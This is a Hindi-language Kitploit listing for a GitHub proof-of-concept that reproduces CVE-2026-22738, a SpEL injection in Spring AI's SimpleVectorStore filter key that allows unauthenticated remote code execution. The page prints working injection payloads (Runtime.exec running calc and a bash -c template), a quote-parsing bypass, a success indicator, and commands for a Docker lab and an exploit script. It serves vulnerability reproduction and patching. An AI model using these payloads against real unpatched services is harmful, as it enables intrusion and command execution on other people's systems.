Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-22738 — सिंपलवेक्टरस्टोर में अनएस्केप्ड फ़िल्टर कुंजी के माध्यम से SpEL इंजेक्शन रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है | Kitploit
उपकरण/GitHubGitHub/rockmelodies/cve-2026-22738
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षापेलोड डेवलपमेंटरिमोट एक्सेस ट्रोजन
GitHubrockmelodies/cve-2026-22738

CVE-2026-22738

सिंपलवेक्टरस्टोर में अनएस्केप्ड फ़िल्टर कुंजी के माध्यम से SpEL इंजेक्शन रिमोट कोड एक्ज़ीक्यूशन की ओर ले जाता है

रिपॉजिटरी देखें
214 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-22738 प्रजनन वातावरण

img.png

भेद्यता विवरण

CVE-2026-22738 Spring AI SimpleVectorStore में एक SpEL (Spring Expression Language) इंजेक्शन भेद्यता है, जो बिना प्रमाणीकरण के रिमोट कोड निष्पादन (RCE) का कारण बन सकती है।

प्रभावित संस्करण

Artifactप्रभावित संस्करणफिक्स संस्करण
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

नोट: यह प्रोजेक्ट भेद्यता प्रजनन के लिए spring-ai-core:1.0.0 आधिकारिक संस्करण का उपयोग करता है।

फिक्स कमिट: ba9220b22383e430d5f801ce8e4fa01cf9e75f29

भेद्यता सिद्धांत

SimpleVectorStore.similaritySearch() विधि उपयोगकर्ता द्वारा प्रदान किए गए फ़िल्टर कुंजी नाम को बिना किसी बदलाव के SpEL टेम्पलेट में पास करती है, और StandardEvaluationContext द्वारा मूल्यांकन किया जाता है। चूंकि StandardEvaluationContext पूर्ण JVM रिफ्लेक्शन API को उजागर करता है, हमलावर इंजेक्ट कर सकता है:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec(...)

फ़िल्टर कुंजी को बिना प्रमाणीकरण के ऑपरेटिंग सिस्टम कमांड निष्पादन में जोड़ना।

भेद्यता प्रजनन

निम्नलिखित payload का उपयोग करें, ध्यान दें कि एक बार URL एन्कोडिंग करना आवश्यक है

root@kitploit:~
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"

%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22

payload को filterKey पैरामीटर में पास करें, कैलकुलेटर सफलतापूर्वक खुल जाता है img_1.png

बाईपास विवरण

सरल इंजेक्शन विधि सीधे प्रभावी नहीं होती — पार्सर की दो विचित्रताओं को दूर करना आवश्यक है:

  1. एकल उद्धरण हटाना — एकल उद्धरण ' से शुरू होने वाली कुंजी को उद्धृत स्ट्रिंग माना जाता है; बाहरी उद्धरण हटा दिए जाते हैं, जिससे payload टूट जाता है।

  2. दोहरा उद्धरण रैपर — payload को दोहरे उद्धरणों में लपेटना "..." पार्सर को बाहरी दोहरे उद्धरण हटाने का कारण बनता है, जिससे आंतरिक SpEL एक्सप्रेशन पार्सर को पास किए गए कुंजी मान #metadata['<KEY>'] के रूप में संरक्षित रहता है।

  3. खाली मेटाडेटा कुंजी — इंजेक्टेड एक्सप्रेशन के दोनों ओर #metadata[''] का उपयोग (अपरिभाषित चर के बजाय) unknown variable SpEL त्रुटि से बचाता है, जबकि exec() को ट्रिगर करता रहता है।

गणना किया गया एक्सप्रेशन निम्न रूप लेता है:

root@kitploit:~
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

सफलता संकेतक

HTTP प्रतिक्रिया बॉडी में EL1030E SpEL रनटाइम त्रुटि शामिल होगी:

root@kitploit:~
operator ADD not supported between null and java.lang.ProcessImpl

यह त्रुटि exec() लौटने के बाद उत्पन्न होती है, जो बिना आउट-ऑफ-बैंड कॉलबैक के ऑपरेटिंग सिस्टम स्तर पर कमांड निष्पादन की पुष्टि करती है।

वातावरण सेटअप

पूर्वापेक्षाएँ

  • Docker और Docker Compose
  • Python 3 + requests लाइब्रेरी (pip install requests)

भेद्यता वातावरण बनाएं और चलाएं

root@kitploit:~
# कंटेनर बनाएं और शुरू करें
docker compose up -d --build

# लॉग देखें
docker compose logs -f

शोषण स्क्रिप्ट चलाएं

root@kitploit:~
# निर्भरताएँ स्थापित करें
pip install requests

# शोषण चलाएं (ऐप शुरू होने की प्रतीक्षा करें)
python3 exploit.py --wait

# या लक्ष्य निर्दिष्ट करें
python3 exploit.py --target http://localhost:8082 --wait

पैरामीटर विवरण

फ्लैगडिफ़ॉल्टविवरण
--targethttp://localhost:8082असुरक्षित एप्लिकेशन का बेस URL
--waitबंदलक्ष्य तैयार होने तक पोलिंग करें (docker compose up के बाद उपयोगी)

नोट: Docker Desktop (macOS/Windows) कॉलबैक के लिए host.docker.internal का उपयोग करता है, 127.0.0.1 payload।

शोषण चरण

इस प्रूफ-ऑफ-कॉन्सेप्ट प्रवाह में पाँच क्रमिक चरण शामिल हैं:

  1. बेसलाइन जाँच — एंडपॉइंट पहुंच योग्य है और सीड डेटा लौटाता है इसकी पुष्टि करें
  2. ब्लाइंड SpEL प्रोब — T(java.lang.System) पढ़कर java.version इंजेक्शन बिंदु की पुष्टि करें
  3. RCE: कंटेनर के अंदर touch /tmp/pwned_cve_2026_22738
  4. RCE: id // uname आउटपुट hostname को /tmp/rce_proof.txt में लिखें
  5. सत्यापन: docker exec के माध्यम से प्रूफ फ़ाइल की सामग्री प्रिंट करके सत्यापित करें

प्रोजेक्ट संरचना

root@kitploit:~
├── Dockerfile                    # Docker बिल्ड फ़ाइल
├── docker-compose.yml            # Docker Compose कॉन्फ़िगरेशन
├── pom.xml                       # Maven प्रोजेक्ट कॉन्फ़िगरेशन
├── settings.xml                  # Maven सेटिंग्स (Spring रिपॉजिटरी शामिल)
├── exploit.py                    # शोषण स्क्रिप्ट
└── src/main/java/com/example/spelrce/
    ├── SpelRceLabApplication.java    # Spring Boot मुख्य क्लास
    ├── VulnController.java           # भेद्यता कंट्रोलर
    ├── VectorStoreConfig.java        # VectorStore कॉन्फ़िगरेशन
    └── DummyEmbeddingModel.java      # नकली Embedding मॉडल

स्थानीय परीक्षण (Docker के बिना)

root@kitploit:~
# प्रोजेक्ट संकलित करें
mvn clean package -DskipTests

# एप्लिकेशन चलाएं
java -jar target/spel-rce-lab-1.0.0.jar

# दूसरे टर्मिनल में शोषण चलाएं
python3 exploit.py --target http://localhost:8082

संदर्भ

  • CVE-2026-22738
  • Spring AI फिक्स कमिट
  • मूल PoC प्रोजेक्ट
टूल डाउनलोड करें